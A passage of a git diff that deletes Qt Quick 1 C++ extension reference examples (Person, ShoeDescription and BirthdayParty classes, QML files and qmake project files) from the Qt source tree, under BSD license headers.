POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -ShoeDescription::ShoeDescription(QObject *parent) -: QObject(parent), m_size(0), m_price(0) -{ -} - -int ShoeDescription::size() const -{ - return m_size; -} - -void ShoeDescription::setSize(int s) -{ - if (m_size == s) - return; - - m_size = s; - emit shoeChanged(); -} - -QColor ShoeDescription::color() const -{ - return m_color; -} - -void ShoeDescription::setColor(const QColor &c) -{ - if (m_color == c) - return; - - m_color = c; - emit shoeChanged(); -} - -QString ShoeDescription::brand() const -{ - return m_brand; -} - -void ShoeDescription::setBrand(const QString &b) -{ - if (m_brand == b) - return; - - m_brand = b; - emit shoeChanged(); -} - -qreal ShoeDescription::price() const -{ - return m_price; -} - -void ShoeDescription::setPrice(qreal p) -{ - if (m_price == p) - return; - - m_price = p; - emit shoeChanged(); -} - -Person::Person(QObject *parent) -: QObject(parent) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - if (m_name == n) - return; - - m_name = n; - emit nameChanged(); -} - -ShoeDescription *Person::shoe() -{ - return &m_shoe; -} - - -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/person.h deleted file mode 100644 index d0f196b95c..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/binding/person.h +++ /dev/null @@ -1,113 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include -#include - -class ShoeDescription : public QObject -{ - Q_OBJECT - Q_PROPERTY(int size READ size WRITE setSize NOTIFY shoeChanged) - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY shoeChanged) - Q_PROPERTY(QString brand READ brand WRITE setBrand NOTIFY shoeChanged) - Q_PROPERTY(qreal price READ price WRITE setPrice NOTIFY shoeChanged) -public: - ShoeDescription(QObject *parent = 0); - - int size() const; - void setSize(int); - - QColor color() const; - void setColor(const QColor &); - - QString brand() const; - void setBrand(const QString &); - - qreal price() const; - void setPrice(qreal); -signals: - void shoeChanged(); - -private: - int m_size; - QColor m_color; - QString m_brand; - qreal m_price; -}; - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) -// ![0] - Q_PROPERTY(ShoeDescription *shoe READ shoe CONSTANT) -// ![0] -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - ShoeDescription *shoe(); -signals: - void nameChanged(); - -private: - QString m_name; - ShoeDescription m_shoe; -}; - -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/birthdayparty.cpp deleted file mode 100644 index 11e408ff3e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/birthdayparty.cpp +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/birthdayparty.h deleted file mode 100644 index 4315d3727e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/birthdayparty.h +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include "person.h" - -class BirthdayParty : public QObject -{ - Q_OBJECT -// ![0] - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) -// ![0] -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - -private: - Person *m_host; - QList m_guests; -}; - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/coercion.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/coercion.pro deleted file mode 100644 index d85a3088ae..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/coercion.pro +++ /dev/null @@ -1,17 +0,0 @@ -TEMPLATE = app -TARGET = coercion -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += coercion.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/coercion -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS coercion.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/coercion -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/coercion.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/coercion.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/coercion.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/example.qml deleted file mode 100644 index 25791f38f8..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/example.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - host: Boy { - name: "Bob Jones" - shoeSize: 12 - } - guests: [ - Boy { name: "Leo Hodges" }, - Boy { name: "Jack Smith" }, - Girl { name: "Anne Brown" } - ] -} -// ![0] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/main.cpp deleted file mode 100644 index e0eabae4b4..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/main.cpp +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType("People", 1,0, "BirthdayParty"); -// ![0] - qmlRegisterType(); -// ![0] - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - for (int ii = 0; ii < party->guestCount(); ++ii) - qWarning() << " " << party->guest(ii)->name(); - } else { - qWarning() << component.errors(); - } - - return 0; -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/person.cpp deleted file mode 100644 index b28d63216e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/person.cpp +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -Person::Person(QObject *parent) -: QObject(parent), m_shoeSize(0) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -int Person::shoeSize() const -{ - return m_shoeSize; -} - -void Person::setShoeSize(int s) -{ - m_shoeSize = s; -} - -// ![1] -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - -// ![1] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/person.h deleted file mode 100644 index 65faaf1521..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/coercion/person.h +++ /dev/null @@ -1,82 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(int shoeSize READ shoeSize WRITE setShoeSize) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - int shoeSize() const; - void setShoeSize(int); -private: - QString m_name; - int m_shoeSize; -}; - - -// ![0] -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -// ![0] - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/birthdayparty.cpp deleted file mode 100644 index 11e408ff3e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/birthdayparty.cpp +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/birthdayparty.h deleted file mode 100644 index cfca6689db..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/birthdayparty.h +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include "person.h" - -// ![0] -class BirthdayParty : public QObject -{ - Q_OBJECT - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) - Q_CLASSINFO("DefaultProperty", "guests") -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - -private: - Person *m_host; - QList m_guests; -}; -// ![0] - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/default.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/default.pro deleted file mode 100644 index d5519f490e..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/default.pro +++ /dev/null @@ -1,17 +0,0 @@ -TEMPLATE = app -TARGET = default -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative qtquick1 - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += default.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/default -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS default.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/default -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/default.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/default.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/default.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/default/example.qml deleted file mode 100644 index 9ef24b59b7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/default/example.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED 